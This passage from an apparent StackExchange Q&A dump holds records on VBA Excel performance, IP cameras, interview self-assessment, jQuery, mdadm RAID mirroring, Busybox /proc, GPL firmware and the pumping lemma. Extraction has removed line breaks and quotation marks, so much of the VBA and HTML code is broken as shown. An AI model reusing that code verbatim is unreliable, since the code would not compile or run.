intensive task:Start looping over each column on Sheet3 (columns of the final result)Find the first column to be migrated (based on the header name from Sheet3)If found, set a reference to the entire column with data (50,000 rows or more)Set a reference on Sheet3, to an area of the same size as the column of imported dataCopy the data from Sheet2 to Sheet3Move on the the next column on Sheet3 an repeat the process until all predefined columns on Sheet3 are populatedOverwrite some imported values on Sheet3 with hard-coded data from Sheet1Reformat the dates on 2 specific columns on Sheet3 to YYYY requirementReformat other specific columns on Sheet3Convert all data on Sheet3 to UPPER CASEApply cell and font formatting to all data on Sheet3Zoom all sheets to 85%Private Sub mainProcess()    Const SPACE_DELIM       As String =      Dim wsIndex             As Worksheet    Dim wsImport            As Worksheet    'Raw data    Dim wsFinal             As Worksheet    'Processed data    Dim importHeaderRng     As Range    Dim importColRng        As Range    Dim importHeaderFound   As Variant    Dim importLastRow       As Long    Dim finalHeaderRng      As Range    Dim finalColRng         As Range    Dim finalHeaderRow      As Variant    Dim finalHeaderFound    As Variant    Dim indexHeaderCol      As Range    Dim header              As Variant  'Each item in the FOR loop    Dim msg                 As String    Set wsIndex = aIndex    'This is the Code Name; top-left pane: aIndex (Index)    Set wsImport = bImport  'Direct reference to Code Name: bImport.Range(A1)    Set wsFinal = cFinal    'Reference using Sheets collection: ThisWorkbook.Worksheets(Final)    With wsImport.UsedRange        Set importHeaderRng = .Rows(1)                      'Import - Headers        importLastRow = getMaxCell(wsImport.UsedRange).Row  'Import - Total Rows    End With    With wsFinal.UsedRange        finalHeaderRow = .Rows(1)       'Final - Headers (as Array)        Set finalHeaderRng = .Rows(1)   'Final - Headers (as Range)    End With    With wsIndex.UsedRange              'Transpose col 3 from Index (without the header), as column names in Import        Set indexHeaderCol = .Columns(3).Offset(1, 0).Resize(.Rows.Count - 1, 1)        wsImport.Range(wsImport.Cells(1, 1), wsImport.Cells(1, .Rows.Count - 1)).Value2 = Application.Transpose(indexHeaderCol)    End With    applyColumnFormats bImport          'Apply date and number format to Import sheet    If Len(bImport.Cells(2, 1).Value2) > 0 Then 'if Import sheet is not empty (excluding header row)        With Application            For Each header In finalHeaderRow   'Loop through all headers in Final                If Len(Trim(header)) > 0 Then   'If the Final header is not empty                    importHeaderFound = .Match(header, importHeaderRng, 0)      'Find header in Import sheet                    If IsError(importHeaderFound) Then                        msg = msg & vbLf & header & SPACE_DELIM & wsImport.Name 'Import doesn't have current header                    Else                        finalHeaderFound = .Match(header, finalHeaderRng, 0)    'Find header in Final sheet                        With wsImport                            Set importColRng = .UsedRange.Columns(importHeaderFound).Offset(1, 0).Resize(.UsedRange.Rows.Count - 1, 1)                        End With                        With wsFinal                            Set finalColRng = .Range(.Cells(2, finalHeaderFound), .Cells(importLastRow, finalHeaderFound))                            finalColRng.Value2 = vbNullString                   'Delete previous values (entire column)                        End With                        finalColRng.Value2 = importColRng.Value2                'Copy Import data in Final columns                    End If                End If            Next        End With        setStaticData importLastRow        extractYears        applyColumnFormats cFinal          'Apply date and number format to Import sheet        allUpper wsFinal        'wsFinal.UsedRange.AutoFilter        applyFormat wsFinal.Range(wsFinal.Cells(1, 1), wsFinal.Cells(importLastRow, wsFinal.UsedRange.Columns.Count))        Dim ws As Worksheet        For Each ws In Worksheets            ws.Activate            ActiveWindow.Zoom = 85            ws.Cells(2, 2).Activate            ActiveWindow.FreezePanes = True            ws.Cells(1, 1).Activate        Next    Else        MsgBox Missing raw data (Sheet 2 - 'Import'), vbInformation,    Missing Raw Data    End IfEnd SubNext method is a straight overwrite operation of static data from Sheet1 onto Sheet3Private Sub setStaticData(ByVal lastRow As Long)    With cFinal        .Range(D2:D & lastRow).Value = aIndex.Range(H2).Value        .Range(F2:F & lastRow).Value = aIndex.Range(H9).Value        .Range(AC2:AC & lastRow).Value = aIndex.Range(H3).Value        .Range(X2:X & lastRow).Value = aIndex.Range(H4).Value        .Range(Y2:Y & lastRow).Value = aIndex.Range(H5).Value        .Range(AE2:AE & lastRow).Value = aIndex.Range(H6).Value        .Range(AF2:AF & lastRow).Value = aIndex.Range(H7).Value        .Range(AD2:AD & lastRow).Value = aIndex.Range(H8).Value    End WithEnd SubAnother method of applying a specific text, number, date format to a set of columns (the same set of columns on either Sheet2 (Import), or Sheet3 (final result)Private Sub applyColumnFormats(ByRef ws As Worksheet)    With ws.UsedRange        .Cells.NumberFormat = @                               'all cells will be General        .Columns(colNum(G)).NumberFormat = MM/DD/YYYY        .Columns(colNum(I)).NumberFormat = MM/DD/YYYY        '.Columns(colNum(A)).NumberFormat = @        '.Columns(colNum(B)).NumberFormat = @        '.Columns(colNum(C)).NumberFormat = @        .Columns(colNum(R)).NumberFormat = MM/DD/YYYY        .Columns(colNum(Q)).NumberFormat = MM/DD/YYYY        .Columns(colNum(T)).NumberFormat = MM/DD/YYYY        .Columns(colNum(W)).NumberFormat = @    'YYYY        .Columns(colNum(V)).NumberFormat = @    'YYYY        .Columns(colNum(AC)).NumberFormat = MM/DD/YYYY        .Columns(colNum(N)).NumberFormat = _($* #,##0.00_);_($* (#,##0.00);_($* -??_);_(@_)        .Columns(colNum(AM)).NumberFormat = _($* #,##0.00_);_($* (#,##0.00);_($* -??_);_(@_)        .Columns(colNum(AN)).NumberFormat = _($* #,##0.00_);_($* (#,##0.00);_($* -??_);_(@_)        .Columns(colNum(AO)).NumberFormat = _($* #,##0.00_);_($* (#,##0.00);_($* -??_);_(@_)    End WithEnd SubHelper method: Cell, border, and font formatting to all data on Sheet3Private Sub applyFormat(ByRef rng As Range)    With rng        .ClearFormats        With .Font            .Name = Georgia            .Color = RGB(0, 0, 225)        End With        .Interior.Color = RGB(216, 228, 188)        With .Rows(1)            .Font.Bold = True            .Interior.ColorIndex = xlAutomatic        End With        With .Borders            .LineStyle = xlDot  'xlContinuous            .ColorIndex = xlAutomatic            .Weight = xlThin        End With    End With    refit rngEnd SubHelper method: Converts all data to upper caseThe main aspect about all helper methods acting on large ranges of data is that they perform:Only one interaction with the worksheet to copy all data to memoryProcesses each individual value by looping over the memory arrays (unavoidable nested loops for 2 dimensional arrays)Then in another single interaction with the sheet places all data transformed back in the same areaThis is, by far, the most overlooked performance improvement. It requires minimum coding effort, but might be perceived as a somewhat difficult concept to grasp for novice VBA enthusiasts (including myself) who just want to get the job done, without complicating thingsPrivate Sub allUpper(ByRef sh As Worksheet)    Dim arr As Variant, i As Long, j As Long    If WorksheetFunction.CountA(sh.UsedRange) > 0 Then        arr = sh.UsedRange        For i = 2 To UBound(arr, 1)         'each row            For j = 1 To UBound(arr, 2)     'each col                arr(i, j) = UCase(RTrim(Replace(arr(i, j), Chr(10), vbNullString)))            Next        Next        sh.UsedRange = arr    End IfEnd SubHelper method: converts dates on certain columns to a YYYY format. In retrospect, I should have made it generic to accept a column name, range, letter, or number, as a parameter instead of hard-codding 2 columns. The point I was trying to make here was to combine multiple columns within one loop for improved performance, instead of several loops performing the same operation, on different columnsPrivate Sub extractYears()    Dim arr As Variant, i As Long, j As Long, ur As Range, colW As Long, colV As Long    Set ur = cFinal.UsedRange               '3rd sheet    If WorksheetFunction.CountA(ur) > 0 Then        colW = colNum(W)        colV = colNum(V)        arr = ur        For i = 2 To getMaxCell(ur).Row     'each row            If Len(arr(i, colW)) > 0 Then arr(i, colW) = Format(arr(i, colW), yyyy)            If Len(arr(i, colV)) > 0 Then arr(i, colV) = Format(arr(i, colV), yyyy)        Next        ur = arr    End IfEnd SubPrivate Sub refit(ByRef rng As Range)    With rng        .WrapText = False        .HorizontalAlignment = xlGeneral        .VerticalAlignment = xlCenter        .Columns.EntireColumn.AutoFit        .Rows.EntireRow.AutoFit    End WithEnd SubHelper method: next, are 2 generic functions that return:The column letter from the column numberThe column number from the column letterNot ideal naming convention as it's not descriptive enough (not intuitive or self-documented). My reason (not excuse): long names don't fit well in the small area provided - doesn't make it OKPublic Function colLtr(ByVal fromColNum As Long) As String  'get column leter from column number    'maximum number of columns in Excel 2007, last column: XFD (16384)    Const MAX_COLUMNS   As Integer = 16384    If fromColNum > 0 And fromColNum <= MAX_COLUMNS Then        Dim indx As Long, cond As Long        For indx = Int(Log(CDbl(25 * (CDbl(fromColNum) + 1))) / Log(26)) - 1 To 0 Step -1            cond = (26 ^ (indx + 1) - 1) / 25 - 1            If fromColNum > cond Then                colLtr = colLtr & Chr(((fromColNum - cond - 1) \\ 26 ^ indx) Mod 26 + 65)            End If        Next indx    Else        colLtr = 0    End IfEnd FunctionPublic Function colNum(ByVal fromColLtr As String) As Long    'A to XFD (upper or lower case); if the parameter is invalid it returns 0    'maximum number of columns in Excel 2007, last column: XFD (16384)    Const MAX_LEN       As Byte = 4    Const LTR_OFFSET    As Byte = 64    Const TOTAL_LETTERS As Byte = 26    Const MAX_COLUMNS   As Integer = 16384    Dim paramLen        As Long    Dim tmpNum          As Integer    paramLen = Len(fromColLtr)    tmpNum = 0    If paramLen > 0 And paramLen < MAX_LEN Then        Dim i           As Integer        Dim tmpChar     As String        Dim numArr()    As Integer        fromColLtr = UCase(fromColLtr)        ReDim Preserve numArr(paramLen)        For i = 1 To paramLen            tmpChar = Asc(Mid(fromColLtr, i, 1))            If tmpChar < 65 Or tmpChar > 90 Then Exit Function              'make sure it's a letter. upper case: 65 to 90, lower case: 97 to 122            numArr(i) = tmpChar - LTR_OFFSET                                'change lettr to number indicating place in alphabet (from 1 to 26)        Next        Dim highPower   As Integer        highPower = UBound(numArr()) - 1                                    'the most significant digits occur to the left        For i = 1 To highPower + 1            tmpNum = tmpNum + (numArr(i) * (TOTAL_LETTERS ^ highPower))     'convert the number array using powers of 26            highPower = highPower - 1        Next    End If    If tmpNum < 0 Or tmpNum > MAX_COLUMNS Then tmpNum = 0    colNum = tmpNumEnd FunctionFor the next method I applied an extra performance improvement to the usual known method of determining the last cell with data:Normal methods perform an inverse search of the first data value staring at the last row\\column of an Excel sheet (which now has over 1 million rows and and 16 thousand columnsThis method expects only on the UsedRange - the notoriously inaccurate range that remembers cell formatting, unused formulas, hidden objects, etc. However, this inaccurate range is much smaller the the entire sheet, but large enough to include all data, so it performs the inverse search over only a few excess rows and columnsBy my definition, the last used cell can also be empty, a long as it represents the longest row and column with dataPublic Function getMaxCell(ByRef rng As Range) As Range    'search the entire range (usually UsedRange)    'last row: find first cell with data, scanning rows, from bottom-right, leftwards    'last col: find first cell with data, scanning cols, from bottom-right, upwards    With rng        Set getMaxCell = rng.Cells _                        ( _                            .Find( _                                What:=*, _                                SearchDirection:=xlPrevious, _                                LookIn:=xlFormulas, _                                After:=rng.Cells(1, 1), _                                SearchOrder:=xlByRows).Row, _                            .Find( _                                What:=*, _                                SearchDirection:=xlPrevious, _                                LookIn:=xlFormulas, _                                After:=rng.Cells(1, 1), _                                SearchOrder:=xlByColumns).Column _                        )    End WithEnd FunctionHelper method: another set of versatile general functions for turning off Excel features that might hinder VBA performance, main ones:xlCalculationAutomatic - extremely convenient for manual interactions with sheets, huge potential of performance issues when performing VBA updates to large ranges as it triggers exponential calculations to all dependent formulas on the sheet(s)EnableEvents - can trigger nested events (infinite recursion) which Excel terminates eventually). Also may cause inexplicable or unexpected VBA behavior when not turned back onScreenUpdating - well knownDisplayPageBreaks: I've seen an earlier comment referring to this. To me  this is insidious, perceived harmless, when in fact it can cause extra work behind the scenes, especially when re-sizing rows and columns. I never print anything, so I never care about page breaks, but Excel cares about them at every move: re-size 1 column\\row - it recalculates page size for all used area; it should be used and only when printingPublic Sub fastWB(Optional ByVal opt As Boolean = True)    With Application        .Calculation = IIf(opt, xlCalculationManual, xlCalculationAutomatic)        If .DisplayAlerts <> Not opt Then .DisplayAlerts = Not opt        If .DisplayStatusBar <> Not opt Then .DisplayStatusBar = Not opt        If .EnableAnimations <> Not opt Then .EnableAnimations = Not opt        If .EnableEvents <> Not opt Then .EnableEvents = Not opt        If .ScreenUpdating <> Not opt Then .ScreenUpdating = Not opt    End With    fastWS , optEnd SubPublic Sub fastWS(Optional ByVal ws As Worksheet, Optional ByVal opt As Boolean = True)    If ws Is Nothing Then        For Each ws In Application.ActiveWorkbook.Sheets            setWS ws, opt        Next    Else        setWS ws, opt    End IfEnd SubPrivate Sub setWS(ByVal ws As Worksheet, ByVal opt As Boolean)    With ws        .DisplayPageBreaks = False        .EnableCalculation = Not opt        .EnableFormatConditionsCalculation = Not opt        .EnablePivotTable = Not opt    End WithEnd SubPublic Sub xlResetSettings()    'default Excel settings    With Application        .Calculation = xlCalculationAutomatic        .DisplayAlerts = True        .DisplayStatusBar = True        .EnableAnimations = False        .EnableEvents = True        .ScreenUpdating = True        Dim sh As Worksheet        For Each sh In Application.ActiveWorkbook.Sheets            With sh                .DisplayPageBreaks = False                .EnableCalculation = True                .EnableFormatConditionsCalculation = True                .EnablePivotTable = True            End With        Next    End WithEnd SubAny suggestions to improve readability for ease of maintenance, restructuring functions, naming conventions, etc, will be much appreciated"  , "title": "Intense worksheet manipulations: what price did I pay for performance optimization?"  , "tags": "performance;algorithm;vba;excel"  , "accepted_answer": "This isn't going to be a full-blown, fine-combed review. Just a few points.Use PascalCase for procedure/member identifiers. Being consistent about this helps readability because it makes it easy to tell members from locals and parameters at a glance, without even reading them.In general your indenting is fine, except here:fastWB True      'turn off all Excel features related to GUI and calculation updates    t1 = Timer   'start performance timer    mainProcess    t2 = Timer   'process is completedfastWB False     'turn Excel features back onYes, it's a logical block, a bit like On Error Resume Next {instruction} On Error GoTo 0 would be. But it's not a syntactic code block. A different usage of vertical whitespace makes a better job at regrouping the statements I find:fastWB True      'turn off all Excel features related to GUI and calculation updatest1 = Timer   'start performance timermainProcesst2 = Timer   'process is completedfastWB False     'turn Excel features back onThe comments are annoying more than anything else. Consider using more descriptive identifiers instead:ToggleExcelPerformancestartTime = TimerRunMainProcessendTime = TimerToggleExcelPerformance FalseNote that the difference between startTime and endTime will be skewed if you run this code a few seconds before midnight on your system, because of how Timer works. Shameless plug, but with a little bit of abuse there are much more precise and reliable ways to time method execution (I co-own the rubberduck project), especially if you don't need the duration to be in your production code.This declaration came as a surprise:Dim ws As WorksheetFor Each ws In WorksheetsWhy? Because it's the only declaration in the MainProcess method, that's declared close to usage (as it should). Either stick it to the top of the procedure with the other ones (eh, don't do that), or move the other declarations closer to their first usage (much preferred).Pretty much the entire procedure's body is wrapped in this If..Else block:If Len(bImport.Cells(2, 1).Value2) > 0 Then    'wall of codeElse    MsgBox Missing raw data (Sheet 2 - 'Import'), vbInformation, Missing Raw DataEnd IfI suggest you revert the condition to reduce nesting:If Len(bImport.Cells(2, 1).Value2) = 0 Then     MsgBox Missing raw data (Sheet 2 - 'Import'), vbInformation, Missing Raw Data    Exit SubEnd If'wall of codeThis is what I like to call an abuse of the With statement:With Application    'wall of codeEnd WithI like that you're making explicitly qualified references to the Application object like this, ...but not like this - a With block should look like this:With someInstance    foobar = .Foo(42)    .DoSomething    .Bar smurfEnd WithIf you're merely wrapping a whole method with a With block just to avoid having to type Application the 3-4 times you're referring to the Application object, ...sorry to say, but you're just being lazy - and you've uselessly increased nesting for that reason, too.IMO this is another abusive/lazy usage of With:With wsImport    Set importColRng = .UsedRange.Columns(importHeaderFound).Offset(1, 0).Resize(.UsedRange.Rows.Count - 1, 1)End WithVersus:Set importColRng = wsImport.UsedRange.Columns(importHeaderFound) _                                     .Offset(1, 0) _                                     .Resize(wsImport.UsedRange.Rows.Count - 1, 1)This is awkward:With rng    Set getMaxCell = rng.Cells _                    ( _                        .Find( _                            What:=*, _                            SearchDirection:=xlPrevious, _                            LookIn:=xlFormulas, _                            After:=rng.Cells(1, 1), _                            SearchOrder:=xlByRows).Row, _                        .Find( _                            What:=*, _                            SearchDirection:=xlPrevious, _                            LookIn:=xlFormulas, _                            After:=rng.Cells(1, 1), _                            SearchOrder:=xlByColumns).Column _                    )End WithYou open up a With block, but the first statement in it ignores it:    Set getMaxCell = rng.Cells _Should be    Set getMaxCell = .Cells _And then After:=rng.Cells(1, 1) is also referring to rng. What do you need that With block for, really?Now, I really don't like that .Cells call: that 15-liner single instruction is doing way too many things. An instruction should only have as few as possible reasons to fail. If either Find fails, you'll have a runtime error 91, and no clue if it's the row or the column find that's blowing up.Function GetMaxCell(ByRef rng As Range) As Range    On Error GoTo CleanFail    Const NONEMPTY As String = *    Dim foundRow As Long    foundRow = rng.Find(What:=NONEMPTY, _                        SearchDirection:=xlPrevious, _                        LookIn:=xlFormulas, _                        After:=rng.Cells(1, 1), _                        SearchOrder:=xlByRows) _                  .Row    Dim foundColumn As Long    foundColumn = rng.Find(What:=NONEMPTY, _                           SearchDirection:=xlPrevious, _                           LookIn:=xlFormulas, _                           After:=rng.Cells(1, 1), _                           SearchOrder:=xlByColumns) _                     .Column    Set GetMaxCell = rng.Cells(foundRow, foundColumn)CleanExit:    Exit FunctionCleanFail:    Set GetMaxCell = Nothing    Resume CleanExit 'break here    Resume 'set next statement hereEnd FunctionThat will return Nothing to the caller (for it to handle of course) instead of blowing up if the function is given an empty range, or any other edge case that wasn't accounted for. And as a bonus, all you need to do to find the problem is to place a breakpoint just before the error-handling subroutine finishes.There's certainly a lot more to say about this code, ...but this answer is already long enough as it is ;-)"  } 
{  "id": "_hardwarecs.59"  , "question": "I'm looking for a weatherproof (or waterproof only) IP Camera capable of covering long distances like 500 meters or more for 24/7 surveillance in industrial areas. I've searched among popular brands but none of them had this specification. most camera lens sized I found are:3.6mm 15 meters6mm 20 meters8mm 26 meters12mm 40 meters16mm 60 metersThe only Important specifications for the IP camera is having a good video quality and at least 500 meters of straight coverage, so it doesn't matter whether it uses mechanical zoom or digital but it definitely must be a PTZ (Pan, Tilt, Zoom) camera. Thanks! UPDATE: the camera's video quality need to be HD and 10 pixels per inch. "  , "title": "Weatherproof IP camera for long distances"  , "tags": "ip camera;waterproof"  , "accepted_answer": "The AvertX 30X HD provides pretty much everything you're looking for, but it only covers ~105m. This brand tends to not specify optical or digital zoom on their website which makes things difficult.The 3S N5012 has a lot of very appealing features. Specifically, 94mm max focal length paired with 12x digital zoom can provide long view distances. This could reach close to 500m, but digital zoom severely affects video quality, so that's your call.I'll update this as I find more options."  } 
{  "id": "_softwareengineering.89266"  , "question": "I'm often asked at some point during the interview process to compare myself to my peers.  For example, one of my first after-graduation jobs asked me to compare myself to my classmates.  A job I recently interviewed for asked me to compare myself to my coworkers.I always play this down quite a bit.  I'm always worried that, I'm miles above everyone around me, sounds too arrogant.  When push comes to shove though it is the truth.I graduated at the top of my class.  I had a 3.99, the highest GPA of anyone else that year.  My fellow students bitched and moaned about things like having to use the console to write javac xxx.java and build programs instead of just hitting the build button in VS.  Most of them were utterly inept and I'd hate to see what happened to them in the real world.  Others were miles above these people.  There were like 3-5 of us that actually gave a damn, pursued our own education as if it mattered, and had whatever genes are necessary to think like a programmer or mathematician (the one guy I'd say was smarter than me was actually a math major--he graduated one year ahead of me or he would have taken my title).  Even among these few big hitters I was one of, if not the best (some was due to more experience though).For about 90% of the other students though I see this not as me being so good, but them being really that f'n bad.  I was often dumbfounded not just by their ignorance, but by their unwillingness to do what it took to loose it.  My peers in college were lazy, bemoaning, irresponsible, sacks of stupidity that would rather run around puking from so much booze than put out the least amount of effort in learning anything.  Then they blamed their ineptitude on the professors.As I entered the workforce I found that this trend continued.  When I'm on the internet, talking to a worldwide populace of brilliant people I'm rather mediocre.  I'm smart, excited, etc...I'm still very good but I'm much more able to see myself as a smaller fish in a larger ocean.  Locally though, in personal real life experience....what I find easy others find hard even among what I'd call some of the best developers I've worked with.  I know more about design, general development, and the specific language I use more than anyone else I know.  Part of this is, I know full well, the kind of places I've learned in and where I've worked (who doesn't have the money to pay me what I'm worth).  Still though, if I were to fairly compare myself to my coworkers, and in years past my co-students...don't I come off as more than a little arrogant?Others see me this way too though.  It actually took me a while to recognize that there's actually something significantly special about the way I approach my programming (I really care), work ethic, and additionally my lucky roll in the gene game.  I have seen it get to my head from time to time, and I try to avoid it, but in all honesty I'm just better than most.One thing that seems to differentiate me more than anything really is the fact that I continue to pursue greater knowledge at home, off hours.  I'm one of the best because I want to be and it shows significantly.  I've found that this is actually fairly rare in the real world, though many Internet people have me beat here as well.Knowing that there's certainly many more people like this out there, in fact I know of many people on SE that are much smarter than I am, how do you approach this question?  Do you answer honestly?  I'm a fucking God that has do dumb down everything thing they do for the little people!  The only way I can drag the rest along is by saying everything 20 times in 5 different ways.  Or do you downplay yourself to make sure you don't come off as someone so damn arrogant they can't work with others?Edit: Yes, I make grammatical mistakes and additionally many more.  I also suck at welding even though I tried very hard to get it.  I also have a very hard time keeping my house plants alive.  Some people are simply better at it.  I'm simply better at programming."  , "title": "Comparing one's self to others during interviews"  , "tags": "interview"  , "accepted_answer": "You might say something like this (something I tried recently and worked relatively well).I see myself as a potential leader amongst my fellow co-workers.  I am striving for this by offering advice on various programming tasks and leading the design and development of the projects I work on.  An example of this is when I helped Bob the other day resolve a particulary complex problem.  I offered him a number of methods he could use to resolve a problem he had been stuck with for a few days.  Another example is during the recent team meeting of Project Give 'em shit I offered and lead the discussion in design by suggesting we use the Repository pattern for our database interaction.  When the team were unsure of the benefits of this or how it works I provided a detailed informal training session into the benefits and uses of this design pattern and where it helps resolve requirement.Throughout the day, Tim will often come and ask my advice on how to fix a problem he is experiencing, or Jane who was asked to look into the latest microsft web design methodologies and didn't know where to start.  I helped her by suggesting she look at the MVC architecture and ASP .NET web forms as starting points.I am constantly trying to improve my skills so that I can help progress my own development, push my boundaries and be able to relay that back to the team in healthy technical discussions and through the work I contribute.End.Being the smartest, best programmer, or knowing the best about cutting edge technology is sometimes not the primary trait a company is looking for.  You need to find out what they cherish most, and while continuing on what you are doing learning wise etc aim to become to the attention of your superiors on those areas.  They might be looking for communication, teamwork or customer interaction which is something I value just as highly in an employee.And try not to do so to the detriment of your relationship with your colleagues.  The workplace can just be like the grown up version of the school class room.  Just as brutal if you find yourself on the outside. "  } 
{  "id": "_codereview.85048"  , "question": "I have written some code which makes a button morph into a container. I have written it using prototypes. I am fairly new to jQuery/JS so was looking for advice on whether this was a bad/good way to write the script?A previous version of my implementation was reviewed here.I was just thinking, would it have been more appropriate to have just had the constructer function Morphing and then an object containing all the other methods and things, rather than loads of different prototypes?Here is the jQuery:function Morphing( button, container, content, span, top) {    this.button = button;    this.container = container;    this.content = content;    this.overlay = $('div.overlay');    this.span = span;    this.top = top;    var self = this;    this.positions = {        endPosition: {            top: Morphing.top,            left: '50%',            width: 600,            height: 400,            marginLeft: -300        },        startPosition: {            top: self.container.css('top'),            left: self.container.css('left'),            width: self.container.css('width'),            height: self.container.css('height'),            marginLeft: self.container.css('margin-left')        }    };}Morphing.prototype.startMorph = function() {    var self = this;    this.button.on('click', function() {        $(this).fadeOut(200);        console.log('Button clicked, button faded out');        setTimeout(self.containerMove.bind(self), 200);    });};// Perhaps the rest of the code under should just be in a normal object?Morphing.prototype.containerMove = function() {    var self = this;    this.overlay.fadeIn();    this.container.addClass('active');    console.log('Overlay shown, container given active class');    this.container.animate(this.positions.endPosition, 400, function() {            self.content.fadeIn();            self.span.fadeIn();            console.log('Container animated to center, content and span shown');            self.close();    });};Morphing.prototype.close = function() {    var self = this;    this.span.one('click', function() {        self.content.fadeOut();        self.span.fadeOut();        self.overlay.fadeOut();        console.log('Span clicked. Content, span, overlay all hidden');        setTimeout(self.animateBack.bind(self), 275);    });};Morphing.prototype.animateBack = function() {    var self = this;    this.container.animate(this.positions.startPosition, 400, function() {        self.button.fadeIn(300);        self.container.removeClass('active');        console.log('Container animated back to start. Button shown and container removed active class');    });};And the index.html:    <body>        <button class=morphButton>Terms & Conditions</button>        <div class=morphContainer>            <span class=close>X</span>            <h1 class=content>Terms & Conditions </h1>            <p class=content> Pea horseradish azuki bean lettuce avocado asparagus okra. Kohlrabi radish okra azuki bean corn fava bean mustard tigernut juccama green bean celtuce collard greens avocado quandong fennel gumbo black-eyed pea. Grape silver beet watercress potato tigernut corn groundnut. Chickweed okra pea winter purslane coriander yarrow sweet pepper radish garlic brussels sprout groundnut summer purslane earthnut pea tomato spring onion azuki bean gourd. </p>        </div>        <button class=newButton>New</button>        <div class=newContainer>            <span class=newClose>X</span>            <h1 class=newContent>New Stuff</h1>            <p class=newContent>Pea horseradish azuki bean lettuce avocado asparagus okra. Kohlrabi radish okra azuki bean corn fava bean mustard tigernut juccama green bean celtuce collard greens avocado quandong fennel gumbo black-eyed pea. Grape silver beet watercress potato tigernut corn groundnut. Chickweed okra pea winter purslane coriander yarrow sweet pepper radish garlic brussels sprout groundnut summer purslane earthnut pea tomato spring onion azuki bean gourd.</p>        </div>        <div class=overlay></div><script>$(document).ready(function() {    var morph = new Morphing( $('button.morphButton'), $('div.morphContainer'), $('h1.content, p.content'), $('span.close'), 100 );    var morphTwo = new Morphing( $('button.newButton'), $('div.newContainer'), $('h1.newContent, p.newContent'), $('span.newClose'), 200 );    morph.startMorph();    morphTwo.startMorph();});</script>    </body>jsfiddle: https://jsfiddle.net/Specksavers/9a2projy/2/The console.log() statements will be removed in the final version"  , "title": "jQuery morphing button concept"  , "tags": "javascript;jquery"  } 
{  "id": "_unix.8980"  , "question": "I'd like to mirror my existing root (and only) partition on an SSD to another disk. It should be a sort of RAID-1, just asymmetric*. I know there's the option mdadm --write-behind, which should do it.But I have no idea if it is possible with preserving the context of the existing partition. I imagine it likecreate the slave partitionsetup the RAID telling it that the slave partition is not initializedlet it initialize it by cloning the master partitionbut I'm probably too optimistic, aren't I?* All reads should access the first disk and writes should be considered finished when the first disk is written."  , "title": "How to raid-mirror existing root partition?"  , "tags": "software raid"  , "accepted_answer": "You can create an mdraid RAID-1 array starting with an existing partition. First, you need to make room for the mdadm superblock, which means you need to shrink your filesystem a little.At the moment, the normal superblock format is 0.9. Its location is between 128kB and 60kB from the end of the partition, it is 4kB long, and it starts on an address that is a multible of 64kB. So shrink your filesystem by 128kB, or more precisely to ((device_size mod 64kB) - 1) * 64kB.If you want more than 2TB per stripe, you need the 1.0 superblock format, which isn't supported out-of-the-box by all distributions yet. The 1.0 superblock is at the end of the device, which I understand to mean that you only need to shrink your filesystem by 8kB.Now that you've shrunk the filesystem, you can create the array. First create a degraded array with just the existing data. Make sure the filesystem isn't mounted at this point. For your use case the write-intent bitmap must be on a separate partition. Use -e 1.0 to use the newer version-1 superblock format.mdadm --create /dev/md0 -e 0.9 -l 1 -n 2 \\      --write-behind=256 --bitmap=/path/to/bitmap /dev/sda1 missingNow you can mount the filesystem in /dev/md0. Add the second disk at your leasure. The data will be copied to the new drive in the background.mdadm --add /dev/md0 --write-mostly /dev/sdb1I've created a mirrored array like this, but without write-behind mode. I don't think write-behind mode would invalidate the procedure."  } 
{  "id": "_unix.59917"  , "question": "I am making an embedded Linux distribution and my board is a Raspberry Pi. My kernel version is 3.2.27 without initramfs and my root file system as follows:/lib                          /* contains kernel modules *//bin /sbin /usr/bin /usr/sbin /* contains busybox utils binaries *//usr/lib                      /* contains cross-compiler tool chain libs */linuxrc                       /* generated by busybox, kept in / *//dev                          /* I have created console and ttyAM0 manually but added mode devices by udev *//etc/init.d/rcS               /* required by busybox init */after kernel booted I am getting a console (I don't know whether it is busybox console or not). I have few problems belowNo process information available (no files/folder created under /proc).When I am using ps -e it shows nothing.Why this unexpected behavior happens?"  , "title": "No /proc in a Busybox-based embedded Linux distribution"  , "tags": "linux;startup;proc;busybox"  , "accepted_answer": "After initialising and mounting the root file system, Linux starts /sbin/init which carries on with the user space initialisations including mounting /procMost likely your rcS or whatever configuration init reads doesn't do that, and you need to tell it to.If you've got a shell prompt, you can mount /proc manually with:mount -t proc p /procNote that the /proc directory must exist before you can mount something there. You should include it in your root image."  } 
{  "id": "_softwareengineering.72844"  , "question": "Is it appropriate to release incomplete open-source firmware, or in other words, to release only GPL software but not proprietary software source code?How are non-open-source programs, in compiled firmware for a router/embedded device, allowed with the open-source, Linux-based operating system and other GPL software?For example:If a company releases compiled firmware and source code for a router but only releases the source code for GPL software within the firmware, is it okay, according to the GPL, that the firmware source code would be uncompilable because it is incomplete and is missing the proprietary part of the software?"  , "title": "Is it appropriate to only release the GPL-licensed part of the code as open source?"  , "tags": "licensing;gpl"  } 
{  "id": "_cs.41544"  , "question": "$$L = \\{x^iy^jz^k \\mid i \\le2j\\text{ or }j \\le 3k\\}$$To Prove: If given language is regular or not.I know that it is not a regular language but I am not able to come up with the string which I can use in the pumping lemma to prove that it is not regular.We can also divide $L$ into two parts:$$\\begin{align*}L_1 &= \\{x^iy^jz^k \\mid i \\le 2j\\}\\\\L_2 &= \\{x^iy^jz^k \\mid j \\le 3k\\}\\,,\\end{align*}$$so I just need the strings to be used in the pumping lemma for $L_1$ and $L_2$."  , "title": "Prove if given language is regular or not"  , "tags": "formal languages;regular languages"  , "accepted_answer": "It's not regular. Hint: Let $p$ be the integer of the pumping lemma and pump the string $x^{6p}y^{3p}z^{2p}$."  } 
{  "id": "_softwareengineering.67813"  , "question": "How many of you actually work out the exercises when learning from a book (any programming related book), I'm currently working my way through a C++ book and find that some of the exercises I feel I can complete rather easily I skip. Do most people do this? Or do they read the whole book and come back to exercises that looked difficult?"  , "title": "Do you do the exercises when reading a book?"  , "tags": "learning;books"  , "accepted_answer": "I find it to be helpful to actually type in the solutions to the exercises and run them.  Sometimes you'll get the answer on the first try, and sometimes it's a little bit trickier than it first looked.  You'll never know what you're missing until you have working code.One huge benefit to typing in the exercises yourself if that you get practice debugging.  If it's a new language and a new environment, you'll inevitably make mistakes.  Getting the solutions to even the simplest problems to work is good practice."  } 
